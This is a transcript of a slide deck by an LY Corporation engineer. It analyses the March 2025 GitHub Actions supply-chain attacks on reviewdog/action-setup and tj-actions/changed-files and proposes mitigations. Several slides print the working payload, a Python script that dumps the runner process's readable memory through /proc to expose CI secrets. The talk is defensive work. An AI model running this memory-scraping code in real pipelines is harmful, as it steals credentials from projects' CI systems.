Upgrade to Pro — share decks privately, control downloads, hide ads and more …

GitHub Actionsにおけるサプライチェーン攻撃とその緩和策の検討 / Supply-...

GitHub Actionsにおけるサプライチェーン攻撃とその緩和策の検討 / Supply-Chain Attacks in GitHub Actions and Considerations for Mitigation

2025年3月に発覚したCVE-2025-30066およびCVE-2025-30154のサプライチェーン攻撃を題材に、侵害手口を各種公開レポートから簡単にひも解きます。また、このような攻撃に備えるために利用者とGitHub Enterprise管理者が実践できる緩和策について検討していきます。

More Decks by LINEヤフーTech (LY Corporation Tech)

Other Decks in Technology

Transcript

  1. Supply-Chain Attacks in GitHub Actions and Considerations for Mitigation SIG,

    Infrastructure Group, Developer Platform Division, DPS LY Corporation Yuta Harima
  2. Yuta Harima • Career • Joined Yahoo Japan Corporation as

    a new graduate in 2014 • Since then, have been developing and operating internal developer platforms • Currently focus on managing our GitHub Enterprise Server instances • Hobbies • CTF • Game • Factorio Spage Age(DLC)/Space Exploration(Mod), Fit Boxing 2, Splatoon 3 on Switch 2 :), Astronoka, etc... • Live concerts • Nijigasaki High School Idol Club, i☆Ris, Serena Kozuki, etc... Who I Am
  3. • March 2025: Two GitHub Actions compromised • CVE-2025-30066: tj-actions/changed-files

    • CVE-2025-30154: reviewdog/action-setup • 20,000+ repositories were under threat • Some repos leaked secrets of GitHub Actions • Ignoring supply-chain risks is no longer an option The Threat of Supply-Chain Attacks Actual malicious code that was introduced to reviewdog/action-setup
  4. - What Is a Software Supply-Chain Attack? - Attack Overview

    - Attack Details - About Mitigations - Summary Agenda
  5. • An attacker compromises something you ALREADY trust—libraries, build tools,

    etc What Is a Software Supply-Chain Attack? Library Our system Depended Attacker Inject malicious code
  6. • An attacker compromises something you ALREADY trust—libraries, build tools,

    etc • Malicious change is delivered through the SAME legitimate channels (Git, NPM, Docker, GitHub Actions), so it looks NORMAL • One upstream breach can cascade to a lot of downstream projects What Is a Software Supply-Chain Attack? Library Our system Depended Attacker Inject malicious code Infected on next delivery Attack carry out
  7. • Step 1 – Upstream compromise • CVE-2025-30154: reviewdog/action-setup compromised

    • Step 2 – Dependency spread • CVE-2025-30066: tj-actions/changed-files, which calls reviewdog/action-setup, is poisoned next • Step 3 – Target attempt • Attacker aims coinbase/agentkit using poisoned tj-actions/changed-files • Step 4 – Mass pivot • After that, attacker rewrites ALL git tags of tj-actions/changed-files, threatening 20,000+ repositories Attack Overview
  8. • Variant A: Full Python payload is Base64-embedded in the

    commit • Variant B: Tiny stub downloads the payload from a public GitHub Gist • Both will grep the results of the script and output the double-encoded results in Base64 Common Malicious Payload 1/2 Variant A
  9. • (1) Grabs the PID—the GitHub Actions runner process Common

    Malicious Payload 2/2 #!/usr/bin/env python3 (snip) if __name__ == "__main__": pid = get_pid() print(pid) map_path = f"/proc/{pid}/maps" mem_path = f"/proc/{pid}/mem" with open(map_path, 'r') as map_f, open(mem_path, 'rb', 0) as mem_f: for line in map_f.readlines(): # for each mapped region m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line) if m.group(3) == 'r': # readable region start = int(m.group(1), 16) end = int(m.group(2), 16) # hotfix: OverflowError: Python int too large to convert to C long # 18446744073699065856 if start > sys.maxsize: continue mem_f.seek(start) # seek to region start try: chunk = mem_f.read(end - start) # read region contents sys.stdout.buffer.write(chunk) except OSError: continue
  10. • (1) Grabs the PID—the GitHub Actions runner process Common

    Malicious Payload 2/2 #!/usr/bin/env python3 (snip) if __name__ == "__main__": pid = get_pid() print(pid) map_path = f"/proc/{pid}/maps" mem_path = f"/proc/{pid}/mem" with open(map_path, 'r') as map_f, open(mem_path, 'rb', 0) as mem_f: for line in map_f.readlines(): # for each mapped region m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line) if m.group(3) == 'r': # readable region start = int(m.group(1), 16) end = int(m.group(2), 16) # hotfix: OverflowError: Python int too large to convert to C long # 18446744073699065856 if start > sys.maxsize: continue mem_f.seek(start) # seek to region start try: chunk = mem_f.read(end - start) # read region contents sys.stdout.buffer.write(chunk) except OSError: continue (1)
  11. • (1) Grabs the PID—the GitHub Actions runner process •

    (2) Parses /proc/<pid>/maps to get read-permitted memory segments Common Malicious Payload 2/2 #!/usr/bin/env python3 (snip) if __name__ == "__main__": pid = get_pid() print(pid) map_path = f"/proc/{pid}/maps" mem_path = f"/proc/{pid}/mem" with open(map_path, 'r') as map_f, open(mem_path, 'rb', 0) as mem_f: for line in map_f.readlines(): # for each mapped region m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line) if m.group(3) == 'r': # readable region start = int(m.group(1), 16) end = int(m.group(2), 16) # hotfix: OverflowError: Python int too large to convert to C long # 18446744073699065856 if start > sys.maxsize: continue mem_f.seek(start) # seek to region start try: chunk = mem_f.read(end - start) # read region contents sys.stdout.buffer.write(chunk) except OSError: continue (2)
  12. • (1) Grabs the PID—the GitHub Actions runner process •

    (2) Parses /proc/<pid>/maps to get read-permitted memory segments • (3) Reads /proc/<pid>/mem and writes every readable byte to stdout Common Malicious Payload 2/2 #!/usr/bin/env python3 (snip) if __name__ == "__main__": pid = get_pid() print(pid) map_path = f"/proc/{pid}/maps" mem_path = f"/proc/{pid}/mem" with open(map_path, 'r') as map_f, open(mem_path, 'rb', 0) as mem_f: for line in map_f.readlines(): # for each mapped region m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line) if m.group(3) == 'r': # readable region start = int(m.group(1), 16) end = int(m.group(2), 16) # hotfix: OverflowError: Python int too large to convert to C long # 18446744073699065856 if start > sys.maxsize: continue mem_f.seek(start) # seek to region start try: chunk = mem_f.read(end - start) # read region contents sys.stdout.buffer.write(chunk) except OSError: continue (3) (2)
  13. • (1) Grabs the PID—the GitHub Actions runner process •

    (2) Parses /proc/<pid>/maps to get read-permitted memory segments • (3) Reads /proc/<pid>/mem and writes every readable byte to stdout Common Malicious Payload 2/2 #!/usr/bin/env python3 (snip) if __name__ == "__main__": pid = get_pid() print(pid) map_path = f"/proc/{pid}/maps" mem_path = f"/proc/{pid}/mem" with open(map_path, 'r') as map_f, open(mem_path, 'rb', 0) as mem_f: for line in map_f.readlines(): # for each mapped region m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line) if m.group(3) == 'r': # readable region start = int(m.group(1), 16) end = int(m.group(2), 16) # hotfix: OverflowError: Python int too large to convert to C long # 18446744073699065856 if start > sys.maxsize: continue mem_f.seek(start) # seek to region start try: chunk = mem_f.read(end - start) # read region contents sys.stdout.buffer.write(chunk) except OSError: continue (3) (2)
  14. • (1) Grabs the PID—the GitHub Actions runner process •

    (2) Parses /proc/<pid>/maps to get read-permitted memory segments • (3) Reads /proc/<pid>/mem and writes every readable byte to stdout Common Malicious Payload 2/2 #!/usr/bin/env python3 (snip) if __name__ == "__main__": pid = get_pid() print(pid) map_path = f"/proc/{pid}/maps" mem_path = f"/proc/{pid}/mem" with open(map_path, 'r') as map_f, open(mem_path, 'rb', 0) as mem_f: for line in map_f.readlines(): # for each mapped region m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line) if m.group(3) == 'r': # readable region start = int(m.group(1), 16) end = int(m.group(2), 16) # hotfix: OverflowError: Python int too large to convert to C long # 18446744073699065856 if start > sys.maxsize: continue mem_f.seek(start) # seek to region start try: chunk = mem_f.read(end - start) # read region contents sys.stdout.buffer.write(chunk) except OSError: continue (3)
  15. • (1) Grabs the PID—the GitHub Actions runner process •

    (2) Parses /proc/<pid>/maps to get read-permitted memory segments • (3) Reads /proc/<pid>/mem and writes every readable byte to stdout Common Malicious Payload 2/2 #!/usr/bin/env python3 (snip) if __name__ == "__main__": pid = get_pid() print(pid) map_path = f"/proc/{pid}/maps" mem_path = f"/proc/{pid}/mem" with open(map_path, 'r') as map_f, open(mem_path, 'rb', 0) as mem_f: for line in map_f.readlines(): # for each mapped region m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line) if m.group(3) == 'r': # readable region start = int(m.group(1), 16) end = int(m.group(2), 16) # hotfix: OverflowError: Python int too large to convert to C long # 18446744073699065856 if start > sys.maxsize: continue mem_f.seek(start) # seek to region start try: chunk = mem_f.read(end - start) # read region contents sys.stdout.buffer.write(chunk) except OSError: continue (3)
  16. • (1) Grabs the PID—the GitHub Actions runner process •

    (2) Parses /proc/<pid>/maps to get read-permitted memory segments • (3) Reads /proc/<pid>/mem and writes every readable byte to stdout Common Malicious Payload 2/2 #!/usr/bin/env python3 (snip) if __name__ == "__main__": pid = get_pid() print(pid) map_path = f"/proc/{pid}/maps" mem_path = f"/proc/{pid}/mem" with open(map_path, 'r') as map_f, open(mem_path, 'rb', 0) as mem_f: for line in map_f.readlines(): # for each mapped region m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line) if m.group(3) == 'r': # readable region start = int(m.group(1), 16) end = int(m.group(2), 16) # hotfix: OverflowError: Python int too large to convert to C long # 18446744073699065856 if start > sys.maxsize: continue mem_f.seek(start) # seek to region start try: chunk = mem_f.read(end - start) # read region contents sys.stdout.buffer.write(chunk) except OSError: continue (3)
  17. • 1. Abuse of pull_request_target on spotbugs/sonar-findbugs repository leaks maintainer’s

    PAT-A Step-1 Upstream Compromise spotbugs/sonar-findbugs Attacker Pull request(PPE) Leak maintainer’s PAT-A
  18. • 1. Abuse of pull_request_target on spotbugs/sonar-findbugs repository leaks maintainer’s

    PAT-A • 2. PAT-A used to add attacker account User A to spotbugs/spotbugs Step-1 Upstream Compromise spotbugs/sonar-findbugs Attacker Pull request(PPE) spotbugs/spotbugs Attacker(User A) Add User A to spotbugs/spotbugs using PAT-A Leak maintainer’s PAT-A
  19. • 1. Abuse of pull_request_target on spotbugs/sonar-findbugs repository leaks maintainer’s

    PAT-A • 2. PAT-A used to add attacker account User A to spotbugs/spotbugs • 3. User A introduces a new workflow that dumps all secrets of the repository Step-1 Upstream Compromise spotbugs/sonar-findbugs Attacker Pull request(PPE) spotbugs/spotbugs Attacker(User A) Push malicious workflow Add User A to spotbugs/spotbugs using PAT-A Leak maintainer’s PAT-A
  20. • 1. Abuse of pull_request_target on spotbugs/sonar-findbugs repository leaks maintainer’s

    PAT-A • 2. PAT-A used to add attacker account User A to spotbugs/spotbugs • 3. User A introduces a new workflow that dumps all secrets of the repository • 4. Among the dumped secrets is PAT- B, owned by the maintainer of reviewdog/action-setup Step-1 Upstream Compromise spotbugs/sonar-findbugs Attacker Pull request(PPE) spotbugs/spotbugs Attacker(User A) Push malicious workflow Leak all secrets including PAT-B Add User A to spotbugs/spotbugs using PAT-A Leak maintainer’s PAT-A
  21. • 1. Attacker forks reviewdog/action- setup and adds malicious Commit-A

    Step-2 Dependency Spread fork Push malicious commit v1 tag Attacker reviewdog/action-setup
  22. • 1. Attacker forks reviewdog/action- setup and adds malicious Commit-A

    • 2. With stolen PAT-B, re-points upstream tag v1 to Commit-A Step-2 Dependency Spread fork Push malicious commit v1 tag Re-point tag to malicious commit using PAT-B Attacker reviewdog/action-setup
  23. • 1. Attacker forks reviewdog/action- setup and adds malicious Commit-A

    • 2. With stolen PAT-B, re-points upstream tag v1 to Commit-A • 3. Chain reaction: • tj-actions/eslint-changed-files depends on reviewdog/action-setup@v1 • tj-actions/changed-files depends on eslint- changed-files Step-2 Dependency Spread fork Push malicious commit v1 tag Re-point tag to malicious commit using PAT-B Depended Depended using v1 tag Attacker reviewdog/action-setup tj-actions/changed-files tj-actions/eslint-changed-files
  24. • 1. Attacker forks reviewdog/action- setup and adds malicious Commit-A

    • 2. With stolen PAT-B, re-points upstream tag v1 to Commit-A • 3. Chain reaction: • tj-actions/eslint-changed-files depends on reviewdog/action-setup@v1 • tj-actions/changed-files depends on eslint- changed-files • 4. Malicious workflow runs inside tj- actions/changed-files CI and steals PAT-C (has write permission) Step-2 Dependency Spread Attacker reviewdog/action-setup fork Push malicious commit v1 tag Re-point tag to malicious commit using PAT-B tj-actions/changed-files tj-actions/eslint-changed-files Depended Depended using v1 tag Leak secrets include PAT-C
  25. • 1. Attacker forks tj-actions/changed- files and adds malicious Commit-B

    Step-3 Targeted Attempt fork Push malicious commit v39 tag Attacker tj-actions/changed-files
  26. • 1. Attacker forks tj-actions/changed- files and adds malicious Commit-B

    • 2. With stolen PAT-C, re-points upstream tag v39 to Commit-B Step-3 Targeted Attempt fork Push malicious commit v39 tag Re-point tag to malicious commit using PAT-C Attacker tj-actions/changed-files
  27. • 1. Attacker forks tj-actions/changed- files and adds malicious Commit-B

    • 2. With stolen PAT-C, re-points upstream tag v39 to Commit-B • 3. Malicious workflow runs and leaks Tokens Step-3 Targeted Attempt fork Push malicious commit v39 tag Re-point tag to malicious commit using PAT-C Depended using v39 tag Leak secrets Attacker tj-actions/changed-files coinbase/agentkit
  28. • 1. Attacker forks tj-actions/changed- files and adds malicious Commit-B

    • 2. With stolen PAT-C, re-points upstream tag v39 to Commit-B • 3. Malicious workflow runs and leaks Tokens • 4. Palo Alto Networks alerts maintainer; Coinbase fixes that and confirms no additional compromise Step-3 Targeted Attempt Attacker tj-actions/changed-files fork Push malicious commit v39 tag Re-point tag to malicious commit using PAT-C coinbase/agentkit Depended using v39 tag Leak secrets
  29. • Using PAT-C, attacker force-pushed every tag to a malicious

    commit • Any workflow pinning @v* would run the payload on the next execution, putting 20,000+ repositories at risk • Payload unchanged: dumps secrets of GitHub Actions • Motive unclear Step-4 Mass Pivot
  30. • Threat “pull_request_target” as High-Risk • “pull_request_target” gives read/write permissions

    to forked PRs • Prefer using “pull_request” or manual approval • https://securitylab.github.com/resources/github-actions-preventing-pwn-requests/ • Pin dependencies by SHA-1, not using tags • uses: owner/repo@deadbeef... instead of @v1 • Minimize secrets exposure in workflows Mitigations for Users
  31. • Restrict ”Allowed Actions” • Permit only internal Actions or

    GitHub-verified Actions • Establish company-wide security policies • Pin every GitHub Actions by immutable SHA-1 • Verify the hash of any downloaded binary or artifact • GitHub Plans • Immutable Actions • Immutable Releases Mitigations for GHE admins
  32. • An attacker is high-skilled and smart • Mitigations ≠

    convenience—every control has a cost, but start with the low-friction measures you can • Supply-chain attacks keep evolving; stay informed through trusted channels • Most of today’s material distills Palo Alto Networks’ in-depth report—check the References slide for full details Summary
  33. • GitHub Actions Supply Chain Attack: A Targeted Attack on

    Coinbase Expanded to the Widespread tj-actions/changed-files Incident: Threat Assessment (Updated 4/2) • New GitHub Action supply chain attack: reviewdog/action-setup • GitHub Action tj-actions/changed-files supply chain attack: everything you need to know • Harden-Runner detection: tj-actions/changed-files action is compromised References